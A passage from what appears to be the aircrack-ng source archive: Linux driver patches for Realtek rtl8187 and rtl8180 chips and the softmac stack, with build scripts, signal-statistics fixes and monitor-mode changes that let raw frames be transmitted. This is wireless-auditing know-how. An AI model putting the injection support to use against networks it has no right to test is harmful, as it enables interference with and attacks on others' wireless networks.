/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_essid_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_essid_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_stop_queue_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_rx_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_crypt_deinit_handler_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_wap_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_wap_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wlan_frequencies_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_get_crypto_ops_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_xmit_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_power_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_power_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_crypt_deinit_entries_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_is_54g_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_get_beacon_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_is_shortslot_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_rawtx_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_reset_queue_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_softmac_stop_protocol_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wpa_supplicant_ioctl_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 alloc_ieee80211_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_txb_free_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wake_queue_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_crypt_delayed_deinit_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_encode_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_encode_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2010-05-19 22:23:55.941849065 -0700 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp.o +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp-rtl.ko +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2010-05-19 22:23:55.861848365 -0700 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt.o +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl.ko +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2010-05-19 22:23:55.921850950 -0700 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip.o +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip-rtl.ko +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2010-05-19 22:23:55.888502601 -0700 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep.o +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep-rtl.ko +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211-rtl.mod rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211-rtl.mod 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/.tmp_versions/ieee80211-rtl.mod 2010-05-19 22:23:55.841835305 -0700 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_rx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_tx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_wx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_module.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac_wx.o +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl.ko +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.o diff -Naur rtl8187_linux_26.1010.0622.2006/makedrv~ rtl8187_linux_26.1010.0622.2006.modified/makedrv~ --- rtl8187_linux_26.1010.0622.2006/makedrv~ 2006-09-05 07:21:10.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/makedrv~ 1969-12-31 16:00:00.000000000 -0800 @@ -1,13 +0,0 @@ -#!/bin/sh - -#tar -zxvf stack.tar.gz -#tar -zxvf drv.tar.gz -cd ieee80211 -make clean -make -cd ../beta-8187 -make clean -make -cd .. - - diff -Naur rtl8187_linux_26.1010.0622.2006/Makefile rtl8187_linux_26.1010.0622.2006.modified/Makefile --- rtl8187_linux_26.1010.0622.2006/Makefile 1969-12-31 16:00:00.000000000 -0800 +++ rtl8187_linux_26.1010.0622.2006.modified/Makefile 2010-05-19 22:18:52.002707069 -0700 @@ -0,0 +1,38 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_linux_26.1010.0622.2006/ReadMe.txt~ rtl8187_linux_26.1010.0622.2006.modified/ReadMe.txt~ --- rtl8187_linux_26.1010.0622.2006/ReadMe.txt~ 2006-06-06 10:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ReadMe.txt~ 1969-12-31 16:00:00.000000000 -0800 @@ -1,129 +0,0 @@ -Release Date: 2006-01-13, ver 1.1 -RTL8187 Linux driver version 1.1 - - --This driver supports RealTek RTL8187 Wireless LAN driver for - Fedora Core 2/3/4/5, Debian 3.1, Mandrake 10.2/Mandriva 2006, - SUSE 9.3/10.1/10.2, Gentoo 3.1, etc. - - Support Client mode for either infrastructure or adhoc mode - - Support WEP and WPAPSK connection - -< Component > -The driver is composed of several parts: - 1. Module source code - stack.tar.gz - drv.tar.gz - - 2. Script ot build the modules - makedrv - - 3. Script to load/unload modules - wlan0up - wlan0down - - 4. Script and configuration for DHCP - wlan0dhcp - ifcfg-wlan0 - 4. Supplicant source code: - wpa_supplicant-0.4.9.tar.gz - - 5. Example of supplicant configuration file: - wpa1.conf - -< Installation > -Runing the scripts can finish all operations of building up modules -from the source code and start the nic. - 1. Build up the drivers from the source code - ./makedrv - - 2. load the driver module to kernel and start up nic - ./wlan0up - -< Set wireless lan MIBs > -This driver uses Wireless Extension as an interface allowing you to set -Wireless LAN specific parameters. - -Current driver supports "iwlist" to show the device status of nic - iwlist wlan0 [parameters] -where - parameter explaination [parameters] - ----------------------- ------------- - Show available chan and freq freq / channel - Show and Scan BSS and IBSS scan[ning] - Show supported bit-rate rate / bit[rate] - Show Power Management mode power - -For example: - iwlist wlan0 channel - iwlist wlan0 scan - iwlist wlan0 rate - iwlist wlan0 power - -Driver also supports "iwconfig", manipulate driver private ioctls, to set -MIBs. - - iwconfig wlan0 [parameters] [val] -where - parameter explaination [parameters] [val] constraints - ----------------------- ------------- ------------------ - Connect to AP by address ap [mac_addr] - Set the essid, join (I)BSS essid [essid] - Set operation mode mode {Managed|Ad-hoc} - Set keys and security mode key/enc[ryption] {N|open|restricted|off} - -For example: - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - iwconfig wlan0 essid "ap_name" - iwconfig wlan0 mode Ad-hoc - iwconfig wlan0 mode essid "name" mode Ad-hoc - iwconfig wlan0 key 0123456789 [2] open - iwconfig wlan0 key off - iwconfig wlan0 key restricted [3] 0123456789 - -< Getting IP address > -After start up the nic, the network needs to obtain an IP address before -transmit/receive data. -This can be done by setting the static IP via "ifconfig wlan0 IP_ADDRESS" -command, or using DHCP. - -If using DHCP, setting steps is as below: - (1)connect to an AP via "iwconfig" settings - iwconfig wlan0 essid [name] or - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - - (2)run the script which run the dhclient - ./wlan0dhcp - -< WPAPSK > -WPA_SUPPLICANT help the network to communicate under the protection of WPAPSK -mechanism - - (1)Unpack source code of WPA supplicant: - tar -zxvf wpa_supplicant-0.4.9.tar.gz - cd wpa_supplicant-0.4.9 - - (2)Create .config file: - cp defconfig .config - - (3)Edit .config file, uncomment the following line: - #CONFIG_DRIVER_IPW=y. - - (4)Build WPA supplicant: - make - - (5)Edit wpa_supplicant.conf to set up SSID and its passphrase. - For example, the following setting in "wpa1.conf" means SSID - to join is "BufAG54_Ch6" and its passphrase is "87654321". - network={ - ssid="BufAG54_Ch6" - proto=WPA - key_mgmt=WPA-PSK - pairwise=CCMP TKIP - group=CCMP TKIP WEP104 WEP40 - psk="87654321" - priority=2 - } - - (6)Execute WPA supplicant (Assume 8187 and related modules had been - loaded): - ./wpa_supplicant -D ipw -c wpa1.conf -i wlan0 & - diff -Naur rtl8187_linux_26.1010.0622.2006/symvers rtl8187_linux_26.1010.0622.2006.modified/symvers --- rtl8187_linux_26.1010.0622.2006/symvers 1969-12-31 16:00:00.000000000 -0800 +++ rtl8187_linux_26.1010.0622.2006.modified/symvers 2010-05-19 22:18:52.002707069 -0700 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_linux_26.1010.0622.2006/wlan0rmv rtl8187_linux_26.1010.0622.2006.modified/wlan0rmv --- rtl8187_linux_26.1010.0622.2006/wlan0rmv 2006-09-05 07:21:10.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/wlan0rmv 2010-05-19 22:18:52.006031322 -0700 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.2-rc4/patches/ieee80211_softmac_adjust_bitrate.patch0000644000000000000000000000372010761053203023473 0ustar rootrootdiff -Naur linux-2.6.21.1_orig/net/ieee80211/softmac/ieee80211softmac_module.c linux-2.6.21.1_rawtx/net/ieee80211/softmac/ieee80211softmac_module.c --- linux-2.6.21.1_orig/net/ieee80211/softmac/ieee80211softmac_module.c 2007-04-27 23:49:26.000000000 +0200 +++ linux-2.6.21.1_rawtx/net/ieee80211/softmac/ieee80211softmac_module.c 2007-12-03 23:38:51.000000000 +0100 @@ -238,18 +238,34 @@ struct ieee80211softmac_txrates *txrates = &mac->txrates; u32 change = 0; - change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT; - txrates->default_rate = ieee80211softmac_highest_supported_rate(mac, &mac->bssinfo.supported_rates, 0); + if (mac->ieee->iw_mode == IW_MODE_MONITOR) + { + change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT; + txrates->default_rate = mac->txrates.user_rate; - change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT_FBACK; - txrates->default_fallback = lower_rate(mac, txrates->default_rate); + change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT_FBACK; + txrates->default_fallback = mac->txrates.user_rate; - change |= IEEE80211SOFTMAC_TXRATECHG_MCAST; - txrates->mcast_rate = ieee80211softmac_highest_supported_rate(mac, &mac->bssinfo.supported_rates, 1); + change |= IEEE80211SOFTMAC_TXRATECHG_MCAST; + txrates->mcast_rate = mac->txrates.user_rate; - if (mac->txrates_change) - mac->txrates_change(mac->dev, change); + if (mac->txrates_change) + mac->txrates_change(mac->dev, change); + } + else + { + change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT; + txrates->default_rate = ieee80211softmac_highest_supported_rate(mac, &mac->bssinfo.supported_rates, 0); + + change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT_FBACK; + txrates->default_fallback = lower_rate(mac, txrates->default_rate); + change |= IEEE80211SOFTMAC_TXRATECHG_MCAST; + txrates->mcast_rate = ieee80211softmac_highest_supported_rate(mac, &mac->bssinfo.supported_rates, 1); + + if (mac->txrates_change) + mac->txrates_change(mac->dev, change); + } } void ieee80211softmac_init_bss(struct ieee80211softmac_device *mac) aircrack-ng-1.2-rc4/patches/rtl8187_hw_signal_backport_2.6.28.patch0000644000000000000000000000715111145116401023255 0ustar rootrootFrom: Larry Finger Date: Thu, 4 Dec 2008 04:21:20 +0000 (-0600) Subject: rtl8187: Improve wireless statistics for RTL8187 X-Git-Tag: master-2009-01-05~191 X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Flinville%2Fwireless-testing.git;a=commitdiff_plain;h=cd2865552927d616be4a0da7c24$ rtl8187: Improve wireless statistics for RTL8187 The current wireless statistics for the RTL8187 poorly indicate the signal strength and quality. With testing, I found that the AGC value is inversely correlated with the strength as in the RTL8187B. By implementing a similar calculation, much more code becomes common to the two devices. Signed-off-by: Larry Finger Tested by: Martín Ernesto Barreyro Acked-by: Hin-Tak Leung Signed-off-by: John W. Linville Crudely-backported-by: Zero_Chaos --- diff -Naur linux-2.6.28-orig/drivers/net/wireless/rtl8187_dev.c linux-2.6.28/drivers/net/wireless/rtl8187_dev.c --- linux-2.6.28-orig/drivers/net/wireless/rtl8187_dev.c 2009-02-09 16:52:51.000000000 -0500 +++ linux-2.6.28/drivers/net/wireless/rtl8187_dev.c 2009-02-09 17:22:50.000000000 -0500 @@ -303,29 +303,14 @@ struct rtl8187_rx_hdr *hdr = (typeof(hdr))(skb_tail_pointer(skb) - sizeof(*hdr)); flags = le32_to_cpu(hdr->flags); - signal = hdr->signal & 0x7f; + /* As with the RTL8187B below, the AGC is used to calculate + * signal strength and quality. In this case, the scaling + * constants are derived from the output of p54usb. + */ + quality = 130 - ((41 * hdr->agc) >> 6); + signal = -4 - ((27 * hdr->agc) >> 6); rx_status.antenna = (hdr->signal >> 7) & 1; - rx_status.noise = hdr->noise; rx_status.mactime = le64_to_cpu(hdr->mac_time); - priv->quality = signal; - rx_status.qual = priv->quality; - priv->noise = hdr->noise; - rate = (flags >> 20) & 0xF; - if (rate > 3) { /* OFDM rate */ - if (signal > 90) - signal = 90; - else if (signal < 25) - signal = 25; - signal = 90 - signal; - } else { /* CCK rate */ - if (signal > 95) - signal = 95; - else if (signal < 30) - signal = 30; - signal = 95 - signal; - } - rx_status.signal = signal; - priv->signal = signal; } else { struct rtl8187b_rx_hdr *hdr = (typeof(hdr))(skb_tail_pointer(skb) - sizeof(*hdr)); @@ -343,18 +328,18 @@ */ flags = le32_to_cpu(hdr->flags); quality = 170 - hdr->agc; - if (quality > 100) - quality = 100; signal = 14 - hdr->agc / 2; - rx_status.qual = quality; - priv->quality = quality; - rx_status.signal = signal; - priv->signal = signal; rx_status.antenna = (hdr->rssi >> 7) & 1; rx_status.mactime = le64_to_cpu(hdr->mac_time); - rate = (flags >> 20) & 0xF; } + if (quality > 100) + quality = 100; + rx_status.qual = quality; + priv->quality = quality; + rx_status.signal = signal; + priv->signal = signal; + rate = (flags >> 20) & 0xF; skb_trim(skb, flags & 0x0FFF); rx_status.rate_idx = rate; rx_status.freq = dev->conf.channel->center_freq; @@ -1065,6 +1050,7 @@ priv->mode = NL80211_IFTYPE_MONITOR; dev->flags = IEEE80211_HW_HOST_BROADCAST_PS_BUFFERING | + IEEE80211_HW_SIGNAL_DBM | IEEE80211_HW_RX_INCLUDES_FCS; eeprom.data = dev; @@ -1184,10 +1170,6 @@ printk(KERN_WARNING "rtl8187: 8187B chip detected. Support " "is EXPERIMENTAL, and could damage your\n" " hardware, use at your own risk\n"); - dev->flags |= IEEE80211_HW_SIGNAL_DBM; - } else { - dev->flags |= IEEE80211_HW_SIGNAL_UNSPEC; - dev->max_signal = 65; } dev->wiphy->interface_modes = BIT(NL80211_IFTYPE_STATION); aircrack-ng-1.2-rc4/patches/rtl8180-0.21v2.patch0000644000000000000000000002354110761053203017343 0ustar rootrootdiff -Naur rtl8180-0.21_orig/ieee80211_crypt.c rtl8180-0.21_patched/ieee80211_crypt.c --- rtl8180-0.21_orig/ieee80211_crypt.c 2004-11-27 20:33:23.000000000 +0100 +++ rtl8180-0.21_patched/ieee80211_crypt.c 2007-02-18 17:35:03.000000000 +0100 @@ -11,8 +11,10 @@ * */ #ifndef CONFIG_IEEE80211_NOWEP -#include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif #include #include #include diff -Naur rtl8180-0.21_orig/ieee80211_crypt_wep.c rtl8180-0.21_patched/ieee80211_crypt_wep.c --- rtl8180-0.21_orig/ieee80211_crypt_wep.c 2005-04-12 14:25:42.000000000 +0200 +++ rtl8180-0.21_patched/ieee80211_crypt_wep.c 2007-02-18 17:35:03.000000000 +0100 @@ -9,8 +9,10 @@ * more details. */ #ifndef CONFIG_IEEE80211_NOWEP -#include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif #include #include #include @@ -28,7 +30,11 @@ #endif #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) #include +#else +#include +#endif #include #if (LINUX_VERSION_CODE > KERNEL_VERSION(2,5,47)) diff -Naur rtl8180-0.21_orig/ieee80211_module.c rtl8180-0.21_patched/ieee80211_module.c --- rtl8180-0.21_orig/ieee80211_module.c 2005-04-15 00:29:23.000000000 +0200 +++ rtl8180-0.21_patched/ieee80211_module.c 2007-02-18 17:35:03.000000000 +0100 @@ -37,8 +37,11 @@ *******************************************************************************/ #include +#include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) #include +#endif #include #include #include @@ -53,7 +56,6 @@ #include #include #include -#include #include #include #include diff -Naur rtl8180-0.21_orig/ieee80211_rx.c rtl8180-0.21_patched/ieee80211_rx.c --- rtl8180-0.21_orig/ieee80211_rx.c 2005-04-12 14:13:18.000000000 +0200 +++ rtl8180-0.21_patched/ieee80211_rx.c 2007-02-18 17:35:03.000000000 +0100 @@ -16,8 +16,11 @@ * more details. */ +#include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) #include +#endif #include #include #include @@ -32,7 +35,6 @@ #include #include #include -#include #include #include #include diff -Naur rtl8180-0.21_orig/ieee80211_tx.c rtl8180-0.21_patched/ieee80211_tx.c --- rtl8180-0.21_orig/ieee80211_tx.c 2005-04-12 23:02:17.000000000 +0200 +++ rtl8180-0.21_patched/ieee80211_tx.c 2007-02-18 17:35:03.000000000 +0100 @@ -31,7 +31,10 @@ ******************************************************************************/ #include +#include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) #include +#endif #include #include #include @@ -46,7 +49,6 @@ #include #include #include -#include #include #include #include @@ -577,6 +579,14 @@ spin_lock_irqsave(&ieee->lock,flags); + if (ieee->iw_mode == IW_MODE_MONITOR) { + ieee->func->hard_data_xmit(ieee->dev,skb,0); + dev_kfree_skb_any(skb); + ieee->stats.tx_packets++; + ieee->dev->trans_start = jiffies; + goto exit; + } + if(ieee->queue_stop){ IEEE80211DMESG("EE: IEEE hard_start_xmit invoked when kernel queue should be stopped"); netif_stop_queue(ieee->dev); diff -Naur rtl8180-0.21_orig/ieee80211_wx.c rtl8180-0.21_patched/ieee80211_wx.c --- rtl8180-0.21_orig/ieee80211_wx.c 2005-04-10 19:54:20.000000000 +0200 +++ rtl8180-0.21_patched/ieee80211_wx.c 2007-02-18 17:35:03.000000000 +0100 @@ -34,6 +34,9 @@ ******************************************************************************/ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif #if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,0) #include /* request_module */ #include diff -Naur rtl8180-0.21_orig/Makefile rtl8180-0.21_patched/Makefile --- rtl8180-0.21_orig/Makefile 2005-02-27 19:48:47.000000000 +0100 +++ rtl8180-0.21_patched/Makefile 2007-02-18 17:34:21.000000000 +0100 @@ -59,7 +59,7 @@ make -C $(KSRC) SUBDIRS=$(PWD) modules 2.6: - $(MAKE) -C $(KSRC) SUBDIRS=$(PWD) MODVERDIR=$(PWD) modules + $(MAKE) -C $(KSRC) SUBDIRS=$(PWD) modules clean: rm -f *.mod.c *.mod *.o .*.cmd *.ko .*.flags diff -Naur rtl8180-0.21_orig/Makefile26 rtl8180-0.21_patched/Makefile26 --- rtl8180-0.21_orig/Makefile26 2005-02-27 19:48:48.000000000 +0100 +++ rtl8180-0.21_patched/Makefile26 2007-02-18 17:34:21.000000000 +0100 @@ -26,7 +26,7 @@ rm -f *.mod.c *.mod *.o .*.cmd *.ko rm -rf $(PWD)/tmp modules: - $(MAKE) -C $(KSRC) SUBDIRS=$(PWD) MODVERDIR=$(PWD) modules + $(MAKE) -C $(KSRC) SUBDIRS=$(PWD) modules MODDESTDIR := /lib/modules/$(KVER)/kernel/drivers/net/wireless MOD_ALGDESTDIR := /lib/modules/$(KVER)/kernel/drivers/net/wireless/alg diff -Naur rtl8180-0.21_orig/r8180_core.c rtl8180-0.21_patched/r8180_core.c --- rtl8180-0.21_orig/r8180_core.c 2005-04-12 14:39:56.000000000 +0200 +++ rtl8180-0.21_patched/r8180_core.c 2007-02-18 17:35:03.000000000 +0100 @@ -121,6 +121,7 @@ MODULE_AUTHOR("Andrea Merello "); MODULE_DESCRIPTION("Linux driver for Realtek RTL8180 WiFi cards"); +#if 0 MODULE_PARM(ifname,"s"); MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); @@ -132,7 +133,7 @@ MODULE_PARM(channels,"i"); MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); - +#endif static int __devinit rtl8180_pci_probe(struct pci_dev *pdev, const struct pci_device_id *id); @@ -452,13 +453,14 @@ } - +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { struct r8180_priv *priv = dev->priv; return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) { @@ -2204,11 +2206,12 @@ void rtl8180_hard_data_xmit(struct net_device *dev,struct sk_buff *skb,short morefrag) { struct r8180_priv *priv = (struct r8180_priv *)dev->priv; - int mode; + int mode, priority = LOW_PRIORITY; //unsigned long flags; mode = priv->ieee80211->iw_mode; - + if( mode == IW_MODE_MONITOR ) + priority = HI_PRIORITY; /* * This function doesn't require lock because we make @@ -2220,13 +2223,13 @@ //spin_lock_irqsave(&priv->tx_lock,flags); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + if (!check_nic_enought_desc(dev, priority)){ DMESG("Error: no descriptor left by previous TX (avail %d) ", - get_curr_tx_free_desc(dev, LOW_PRIORITY)); + 